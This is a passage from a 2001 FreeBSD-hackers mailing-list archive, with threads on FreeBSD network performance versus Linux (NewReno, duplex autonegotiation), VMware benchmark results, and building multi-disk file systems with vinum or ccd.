List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 12:51:11AM -0700, Nate Williams wrote: > > >Note, some of the performance issues were made better by disabling the > > >TCP newreno implementation, but it's still poor and very inconsistent > > >for hosts not on the local network, while the Linux box next to it gets > > >much more consistent results. > > > > For what it's worth I have disabled newreno at my customer sites as well > > and felt and heard less "bogosity" since. > > It's actually pretty awful. However, even with the fix I merged back > into RELENG_4, the performance with/without newreno is still *much* > worse (in terms of consistantly giving the same results) than the code > in FreeBSD 3.x. > > The interesting thing is that the application that's getting the most > press is one of our field technicians downloading a file over anonymous > ftp by hand, so it's not like we're generating tons of traffic, or > alot of parallel connections. > > The connections hang, abort, and those that complete have numbers that > are *all* over the map. However, when connected to a Linux box on the > same network, none of these bad things occur. :( Please, please provide information and dumps! To be honest, this is the first I've heard about bad network performance, (other than the NewReno issue), and I would really appreciate raw tcpdumps to analyze. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 7:24:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id CE46537B416; Wed, 28 Nov 2001 07:24:17 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fASFLVS82817; Wed, 28 Nov 2001 09:21:31 -0600 (CST) (envelope-from jlemon) Date: Wed, 28 Nov 2001 09:21:31 -0600 From: Jonathan Lemon To: Greg Lehey Cc: Alfred Perlstein , developers@FreeBSD.org, FreeBSD Hackers , Richard Sharpe Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128092131.B75389@prism.flugsvamp.com> References: <20011128153817.T61580@monorchid.lemis.com> <20011128020321.C46769@elvis.mu.org> <20011128183705.L61580@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20011128183705.L61580@monorchid.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 06:37:05PM +1030, Greg Lehey wrote: > don't. Which would have been more useful: say to Richard "sorry, my > plate's full", or "I can't help you, but I'll try to find people who > aren't too aggressive to help you". Nate has given some information. > You can't blame him for not having the time to do the legwork. It would have been much more useful to say: "Hey guys, I'm seeing bad network performance on my boxes, including random drops, hangs and crashes. This didn't happen when the box was running 4.3. Here's the dmesg output, and this is where you can get a binary tcpdump of the connection." I'm not asking Nate to do legwork, other than collecting some reasonable data that illustrates the problem; I can't analyze data I don't have. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 7:36:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 8B63937B405; Wed, 28 Nov 2001 07:36:34 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.5) with SMTP id fASFaHi38626; Wed, 28 Nov 2001 10:36:17 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Wed, 28 Nov 2001 10:36:17 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: rsharpe@ns.aus.com Cc: Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <3C04AE82.6080302@ns.aus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 28 Nov 2001, Richard Sharpe wrote: > I am quite happy for the report to be sent out. I do not believe I have > an ax to grind here. > > While my background is more in Linux over the last few years, it has > been fun to play around with FreeBSD (and it has more of an Ultrix feel > to it :-). > > I am seeking to understand where I may have made mistakes, and not > presented FreeBSD in its best light. Greg has already provided me with > some feedback on that. However, I am also interested in where there > might be some limits to concurrency (multiple people in the file system, > etc), because in my new role I will be seeking to make it possible for > Samba on a FreeBSD base to support 1000s to 10s of thousands of clients. Richard, Great! I'm really happy you'll have the opportunity to spend some time on this--I know that a large number of FreeBSD consumers rely on Samba daily to get their jobs done, and any work you do relating to that will be something they appreciate a great deal :-). As you no doubt know, making FreeBSD perform as well as possible is something that we're extremely interested in, and would love to have your feedback on. If there's anything we can do to make your job easier, please don't hesitate to let us know. Thanks! Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 8:11:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id A695037B41A for ; Wed, 28 Nov 2001 08:11:14 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id JAA11582; Wed, 28 Nov 2001 09:11:12 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fASGBBr14944; Wed, 28 Nov 2001 09:11:11 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15365.3230.727869.469963@caddis.yogotech.com> Date: Wed, 28 Nov 2001 09:11:10 -0700 To: Cc: "'Nate Williams'" , Subject: RE: FreeBSD performing worse than Linux? In-Reply-To: <003b01c177ec$21e7c870$020aa8c0@aims.private> References: <15364.38767.82340.347344@caddis.yogotech.com> <003b01c177ec$21e7c870$020aa8c0@aims.private> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I had a similar problem, especially with different FreeBSD 4.x boxes (4.1.1, > 4.2, 4.3, 4.4-stable after dirpref merge) and with Windows NT systems, but > the crap performance was only1 limited to FTP. SSH, NFS and CVS operations > were all fine. We're not using any of the other listed services, but we are using both FTP and WWW, and both show decreased performance. (However, the latter may be a configuration issue, so it may be irrelevant.) >The pre-4.3 boxes are all using RTL8029 cards, and the 4.3+ > boxes are all Intel 8255x-based cards. The laptop has 4.4-stable and a > D-Link DFE-650. The poor performance showed up in interactions with the > 100Mbit/s cards (Intel, D-Link). I'm using an fxp cards, as described in the email to Peter. > They have all disappeared since I've > explicitly set the links to 100Mbit/s with full-duplex. The switches and > hubs are all 10/100 D-Links. I've messed with auto-negotiations. The funny thing is that performance on the LAN segment is quite good, it's that non-LAN performance is poor. > My guess is that the autonegotiation feature of both the fxp and ed drivers > somehow adversely affects FTP. Hmm, I can hard-code and see what happens. I did mess with the autonegotiation stuff initially, and it didn't seem to make any difference. I will try again. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 8:12:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 6025537B41E for ; Wed, 28 Nov 2001 08:12:23 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id JAA11632; Wed, 28 Nov 2001 09:12:21 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fASGCKO14965; Wed, 28 Nov 2001 09:12:20 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15365.3300.905293.374565@caddis.yogotech.com> Date: Wed, 28 Nov 2001 09:12:20 -0700 To: Cc: "'Nate Williams'" , Subject: RE: FreeBSD performing worse than Linux? In-Reply-To: <004101c177ee$15a9dce0$020aa8c0@aims.private> References: <004101c177ee$15a9dce0$020aa8c0@aims.private> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > As a follow-up, I've just checked the newreno setting on the boxes I > experienced the problems with - newreno is on. > I'll try turning it off and see if I experience any problems. BTW, what does > it do exactly? It's supposed to make performance of resends/ACKs better in the case of packet loss. > Also, a query on my timesheets shows that I had the same FTP problems on a > FreeBSD 3.2 box with the dc driver talking to an NT4 Terminal Server with > onboard Intel 8255x controller via a 10/100 hub (full duplex), and also a > FreeBSD 4.0 box with the rl driver talking to an NT4 Terminal Server with > onboard Intel 8255x controller via a 10Mbit/s hub (full duplex). Disabling > autonegotiation on the FreeBSD NIC fixed it. Only FTP was affected in both > cases - SMTP, HTTP and SSH were all fine. I've got HTTP problems as well, although as I stated before, that might be a configuration issue. FTP is certainly effected. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:26: 3 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by hub.freebsd.org (Postfix) with ESMTP id 75FD937B405 for ; Wed, 28 Nov 2001 09:25:59 -0800 (PST) Received: from jbg1.demon.co.uk ([158.152.207.206] helo=jbg.co.uk) by anchor-post-30.mail.demon.net with esmtp (Exim 2.12 #1) id 1698T1-000OGo-0U for hackers@FreeBSD.ORG; Wed, 28 Nov 2001 17:25:54 +0000 Received: from jbg.co.uk (pc05.jbg.co.uk [10.0.0.132]) by jbg.co.uk (Postfix) with ESMTP id 23F4A1AE217 for ; Wed, 28 Nov 2001 17:45:35 +0000 (GMT) Message-ID: <3C052E84.3CF81084@jbg.co.uk> Date: Wed, 28 Nov 2001 18:35:48 +0000 From: John Vinters Organization: JBG Computer Services Ltd. X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've (reasonably) recently installed 4.3-Release on a system running Samba and a few light telnet apps, and noticed similar performance problems. The SMB sessions would randomly change speed, and telnet sessions would suffer from occasional "hesitation" (this is on a Dual PIII-700 MHz machine with 1 Gb of RAM, which is currently very lightly loaded). I managed to track the problem down to the duplex settings on both the Ethernet cards (AT-2500 TX, Realtek 8139 based, AFAIK) and the 10/100 Switch. Forcing both the cards and the switch to particular settings cured the problem, and lead to a massive performance increase. FTP seems to be particularly badly affected by the constant collisions (causing backoff). The problem can be tricky to find as the switch wasn't perceptably showing collisions on the collision LED, but viewing the switch stats showed a different story! I've noticed similar problems with Linux and certain cards (it was a while ago). John Vinters > Date: Wed, 28 Nov 2001 20:07:38 +1100 > From: "Chris Knight" > Subject: RE: FreeBSD performing worse than Linux? > > Howdy, > > I had a similar problem, especially with different FreeBSD 4.x boxes (4.1.1, > 4.2, 4.3, 4.4-stable after dirpref merge) and with Windows NT systems, but > the crap performance was only limited to FTP. SSH, NFS and CVS operations > were all fine. The pre-4.3 boxes are all using RTL8029 cards, and the 4.3+ > boxes are all Intel 8255x-based cards. The laptop has 4.4-stable and a > D-Link DFE-650. The poor performance showed up in interactions with the > 100Mbit/s cards (Intel, D-Link). They have all disappeared since I've > explicitly set the links to 100Mbit/s with full-duplex. The switches and > hubs are all 10/100 D-Links. > My guess is that the autonegotiation feature of both the fxp and ed drivers > somehow adversely affects FTP. > However this is only surmise. My fix was based more on an inspired guess > than methodical practice and I didn't get the opportunity to delve deeper > into the reasons for the problem. Sometimes the real world can be a pain :-) > > Regards, > Chris Knight > Systems Administrator > AIMS Independent Computer Professionals > Tel: +61 3 6334 6664 Fax: +61 3 6331 7032 Mob: +61 419 528 795 > Web: http://www.aims.com.au > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:29: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta09.onebox.com (mta09.onebox.com [64.68.76.81]) by hub.freebsd.org (Postfix) with ESMTP id 11A5737B405 for ; Wed, 28 Nov 2001 09:28:59 -0800 (PST) Received: from onebox.com ([10.1.111.6]) by mta09.onebox.com (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011128172858.WOQC13130.mta09.onebox.com@onebox.com>; Wed, 28 Nov 2001 09:28:58 -0800 Received: from [63.49.209.220] by onebox.com with HTTP; Wed, 28 Nov 2001 09:28:58 -0800 Date: Wed, 28 Nov 2001 09:28:58 -0800 Subject: Re: FreeBSD on vmware From: "Glenn Gombert" To: Makoto Matsushita Cc: hackers@FreeBSD.ORG Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Message-Id: <20011128172858.WOQC13130.mta09.onebox.com@onebox.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I could not even get 'Currnet' to boot at all under VMware 3.0 without applying the patch that was mentioned a couple weeks ago under Win2K... -- Glenn Gombert glenngombert@onebox.com - email (513) 587-2643 x2263 - voicemail/fax ---- Makoto Matsushita wrote: > > iedowse> Someone mentioned on a list somewhere that vmware takes forever > to > iedowse> emulate the cmpxchg instruction, and that using the I386_CPU > version > iedowse> of atomic_cmpset_int() helps a lot. > > I really know I'm doing a stupid thing, but here is benchmark results > of both "plain" and "patched" 5-current (as of Nov/26/2001). Patched > FreeBSD is about 10% faster than before. > > *** Before: > > TEST BASELINE RESULT > INDEX > > Arithmetic Test (type = double) 2541.7 156596.8 > 61.6 > Dhrystone 2 without register variables 22366.3 1214131.7 > 54.3 > Execl Throughput Test 16.5 25.1 > 1.5 > File Copy (30 seconds) 179.0 1684.0 > 9.4 > Pipe-based Context Switching Test 1318.5 710.9 > 0.5 > Shell scripts (8 concurrent) 4.0 7.0 > 1.8 > ========= > SUM of 6 items > 129.1 > AVERAGE > 21.5 > > > *** After: > > TEST BASELINE RESULT > INDEX > > Arithmetic Test (type = double) 2541.7 167038.3 > 65.7 > Dhrystone 2 without register variables 22366.3 1267100.0 > 56.7 > Execl Throughput Test 16.5 45.0 > 2.7 > File Copy (30 seconds) 179.0 2863.0 > 16.0 > Pipe-based Context Switching Test 1318.5 1372.6 > 1.0 > Shell scripts (8 concurrent) 4.0 12.5 > 3.1 > ========= > SUM of 6 items > 145.3 > AVERAGE > 24.2 > > > *** > > Note that both are tested with: > - Same kernel configuration (but not GENERIC kernel) > - VMware Workstation 3.0.0 build 1455, WindowsXP Pro host > - 96MB RAM for FreeBSD guest OS > - 1.9GB Virtual Disk is on ATA66 HDD of host PC. > - Host PC has one Pentium3 850Mhz CPU > > -- - > Makoto `MAR' Matsushita > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > __________________________________________________ FREE voicemail, email, and fax...all in one place. Sign Up Now! http://www.onebox.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:30: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta09.onebox.com (mta09.onebox.com [64.68.76.81]) by hub.freebsd.org (Postfix) with ESMTP id EA0F837B419 for ; Wed, 28 Nov 2001 09:29:56 -0800 (PST) Received: from onebox.com ([10.1.101.7]) by mta09.onebox.com (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011128172956.WPGP13130.mta09.onebox.com@onebox.com>; Wed, 28 Nov 2001 09:29:56 -0800 Received: from [63.49.209.220] by onebox.com with HTTP; Wed, 28 Nov 2001 09:29:56 -0800 Date: Wed, 28 Nov 2001 09:29:56 -0800 Subject: Re: FreeBSD on vmware From: "Glenn Gombert" To: Makoto Matsushita Cc: hackers@FreeBSD.ORG Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Message-Id: <20011128172956.WPGP13130.mta09.onebox.com@onebox.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I could not even get 'Current' to boot at all under VMware 3.0 without applying the patch that was mentioned a couple weeks ago under Win2K... -- Glenn Gombert glenngombert@onebox.com - email (513) 587-2643 x2263 - voicemail/fax ---- Makoto Matsushita wrote: > > iedowse> Someone mentioned on a list somewhere that vmware takes forever > to > iedowse> emulate the cmpxchg instruction, and that using the I386_CPU > version > iedowse> of atomic_cmpset_int() helps a lot. > > I really know I'm doing a stupid thing, but here is benchmark results > of both "plain" and "patched" 5-current (as of Nov/26/2001). Patched > FreeBSD is about 10% faster than before. > > *** Before: > > TEST BASELINE RESULT > INDEX > > Arithmetic Test (type = double) 2541.7 156596.8 > 61.6 > Dhrystone 2 without register variables 22366.3 1214131.7 > 54.3 > Execl Throughput Test 16.5 25.1 > 1.5 > File Copy (30 seconds) 179.0 1684.0 > 9.4 > Pipe-based Context Switching Test 1318.5 710.9 > 0.5 > Shell scripts (8 concurrent) 4.0 7.0 > 1.8 > ========= > SUM of 6 items > 129.1 > AVERAGE > 21.5 > > > *** After: > > TEST BASELINE RESULT > INDEX > > Arithmetic Test (type = double) 2541.7 167038.3 > 65.7 > Dhrystone 2 without register variables 22366.3 1267100.0 > 56.7 > Execl Throughput Test 16.5 45.0 > 2.7 > File Copy (30 seconds) 179.0 2863.0 > 16.0 > Pipe-based Context Switching Test 1318.5 1372.6 > 1.0 > Shell scripts (8 concurrent) 4.0 12.5 > 3.1 > ========= > SUM of 6 items > 145.3 > AVERAGE > 24.2 > > > *** > > Note that both are tested with: > - Same kernel configuration (but not GENERIC kernel) > - VMware Workstation 3.0.0 build 1455, WindowsXP Pro host > - 96MB RAM for FreeBSD guest OS > - 1.9GB Virtual Disk is on ATA66 HDD of host PC. > - Host PC has one Pentium3 850Mhz CPU > > -- - > Makoto `MAR' Matsushita > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > __________________________________________________ FREE voicemail, email, and fax...all in one place. Sign Up Now! http://www.onebox.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:48:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ant.eecs.harvard.edu (ant.eecs.harvard.edu [140.247.62.111]) by hub.freebsd.org (Postfix) with ESMTP id CA4FF37B405 for ; Wed, 28 Nov 2001 09:48:52 -0800 (PST) Received: from localhost (ellard@localhost) by ant.eecs.harvard.edu (8.11.3/8.11.3) with ESMTP id fASHmme12665 for ; Wed, 28 Nov 2001 12:48:48 -0500 (EST) (envelope-from ellard@eecs.harvard.edu) X-Authentication-Warning: ant.eecs.harvard.edu: ellard owned process doing -bs Date: Wed, 28 Nov 2001 12:48:48 -0500 (EST) From: Dan Ellard X-X-Sender: To: Subject: multi-disk file systems on FreeBSD? Message-ID: <20011128124145.L12636-100000@ant> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Are there a way under FreeBSD to build a file system using more than one special file? For example, I have a machine with three 9G SCSI disks, and I'd like to build a 27G file system by combining them. Thanks, -Dan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:50: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 37D3937B41A for ; Wed, 28 Nov 2001 09:49:54 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id C807381D05; Wed, 28 Nov 2001 11:49:48 -0600 (CST) Date: Wed, 28 Nov 2001 11:49:48 -0600 From: Alfred Perlstein To: Dan Ellard Cc: hackers@FreeBSD.ORG Subject: Re: multi-disk file systems on FreeBSD? Message-ID: <20011128114948.K46769@elvis.mu.org> References: <20011128124145.L12636-100000@ant> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011128124145.L12636-100000@ant>; from ellard@eecs.harvard.edu on Wed, Nov 28, 2001 at 12:48:48PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Dan Ellard [011128 11:49] wrote: > > Are there a way under FreeBSD to build a file > system using more than one special file? > > For example, I have a machine with three 9G > SCSI disks, and I'd like to build a 27G file > system by combining them. Yup, see the vinum man page. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:50:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 2B76937B405 for ; Wed, 28 Nov 2001 09:50:23 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fASHoL358017; Wed, 28 Nov 2001 12:50:21 -0500 (EST) (envelope-from mwlucas) Date: Wed, 28 Nov 2001 12:50:21 -0500 From: Michael Lucas To: Dan Ellard Cc: hackers@FreeBSD.ORG Subject: Re: multi-disk file systems on FreeBSD? Message-ID: <20011128125021.B57954@blackhelicopters.org> References: <20011128124145.L12636-100000@ant> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011128124145.L12636-100000@ant>; from ellard@eecs.harvard.edu on Wed, Nov 28, 2001 at 12:48:48PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG man 8 vinum On Wed, Nov 28, 2001 at 12:48:48PM -0500, Dan Ellard wrote: > > Are there a way under FreeBSD to build a file > system using more than one special file? > > For example, I have a machine with three 9G > SCSI disks, and I'd like to build a 27G file > system by combining them. > > Thanks, > -Dan > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:50:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id AEF6637B41C for ; Wed, 28 Nov 2001 09:50:49 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fASI9Ol77914; Wed, 28 Nov 2001 10:09:24 -0800 (PST) Date: Wed, 28 Nov 2001 10:09:24 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: Dan Ellard Cc: hackers@FreeBSD.ORG Subject: Re: multi-disk file systems on FreeBSD? In-Reply-To: <20011128124145.L12636-100000@ant> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG man ccd On Wed, 28 Nov 2001, Dan Ellard wrote: > > Are there a way under FreeBSD to build a file > system using more than one special file? > > For example, I have a machine with three 9G > SCSI disks, and I'd like to build a 27G file > system by combining them. > > Thanks, > -Dan > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 9:53: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id CFC3537B41A for ; Wed, 28 Nov 2001 09:52:59 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fASIBb678018; Wed, 28 Nov 2001 10:11:37 -0800 (PST) Date: Wed, 28 Nov 2001 10:11:37 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: Michael Lucas Cc: Dan Ellard , hackers@FreeBSD.ORG Subject: Re: multi-disk file systems on FreeBSD? In-Reply-To: <20011128125021.B57954@blackhelicopters.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG vinum..duh..sorry guys. My brain kicked out ccd before I could look it up. On Wed, 28 Nov 2001, Michael Lucas wrote: > man 8 vinum > > On Wed, Nov 28, 2001 at 12:48:48PM -0500, Dan Ellard wrote: > > > > Are there a way under FreeBSD to build a file > > system using more than one special file? > > > > For example, I have a machine with three 9G > > SCSI disks, and I'd like to build a 27G file > > system by combining them. > > > > Thanks, > > -Dan > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > -- > Michael Lucas > mwlucas@blackhelicopters.org > http://www.blackhelicopters.org/~mwlucas/ > Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 10:17:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from turtle.looksharp.net (cc360882-d.strhg1.mi.home.com [24.13.43.207]) by hub.freebsd.org (Postfix) with ESMTP id 0C89D37B405 for ; Wed, 28 Nov 2001 10:17:47 -0800 (PST) Received: by turtle.looksharp.net (Postfix, from userid 1003) id DAAA23EC1; Wed, 28 Nov 2001 13:18:12 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by turtle.looksharp.net (Postfix) with ESMTP id D7D88BAA5; Wed, 28 Nov 2001 13:18:12 -0500 (EST) Date: Wed, 28 Nov 2001 13:18:12 -0500 (EST) From: "Brandon D. Valentine" To: Dan Ellard Cc: Subject: Re: multi-disk file systems on FreeBSD? In-Reply-To: <20011128124145.L12636-100000@ant> Message-ID: <20011128124955.D23344-100000@turtle.looksharp.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 28 Nov 2001, Dan Ellard wrote: >Are there a way under FreeBSD to build a file >system using more than one special file? > >For example, I have a machine with three 9G >SCSI disks, and I'd like to build a 27G file >system by combining them. See vinum(8) or ccdconfig(8). A very quick perusal of the documentation in the handbook would have revealed this to you. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/raid.html Brandon D. Valentine -- "Iam mens praetrepidans avet vagari." - G. Valerius Catullus, Carmina, XLVI To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 11:21:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ant.eecs.harvard.edu (ant.eecs.harvard.edu [140.247.62.111]) by hub.freebsd.org (Postfix) with ESMTP id E850F37B41A for ; Wed, 28 Nov 2001 